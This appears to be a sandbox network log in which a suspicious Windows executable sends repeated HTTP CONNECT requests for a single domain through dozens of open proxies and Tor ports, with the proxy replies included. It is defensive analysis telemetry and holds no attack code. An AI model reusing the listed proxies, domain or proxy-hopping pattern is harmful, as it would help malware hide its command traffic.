Mar 11, 2024 15:21:08.434535027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.996822119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.591351986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.591481924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700629950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700761080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.700558901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.670439005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:28.447288036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1351	192.168.2.9	54618	200.111.182.6	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.440536022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1352	192.168.2.9	54431	104.129.206.65	8800	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.448769093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.656241894 CET	125	IN	HTTP/1.1 407 Unauthorized Server: Zscaler/6.2 Cache-control: no-cache Content-Length: 0 Proxy-Authenticate: Negotiate

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1353	192.168.2.9	54350	13.208.168.179	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.449176073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.722882986 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:08 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1354	192.168.2.9	54634	200.111.182.6	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.450896978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1355	192.168.2.9	54636	200.111.182.6	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.454313040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1356	192.168.2.9	54321	110.12.211.140	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.454310894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1357	192.168.2.9	49739	91.134.140.160	32588	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.456135988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1358	192.168.2.9	54319	113.143.37.82	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.471405029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.325323105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1359	192.168.2.9	54338	121.159.146.251	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.472162008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1360	192.168.2.9	54349	139.162.151.176	9050	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.474639893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:10.701901913 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1361	192.168.2.9	54369	91.142.222.84	55718	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.544195890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.294043064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.169433117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.933918953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.497312069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.997490883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.471436977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.404947042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:43.231647015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1362	192.168.2.9	54359	103.23.100.1	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.553057909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1363	192.168.2.9	54058	67.201.33.10	25283	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.554785013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1364	192.168.2.9	54360	125.107.149.245	5555	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.556822062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1365	192.168.2.9	54392	87.106.114.124	6005	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.558077097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1366	192.168.2.9	53852	92.204.135.37	16591	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.559099913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.603857040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700756073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.794173002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1367	192.168.2.9	54432	51.15.139.15	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.559412003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.294043064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.169433117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.933898926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.388238907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.997247934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.705246925 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1368	192.168.2.9	54420	195.114.209.50	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.560985088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.294240952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.289176941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.091227055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.678719044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.308985949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
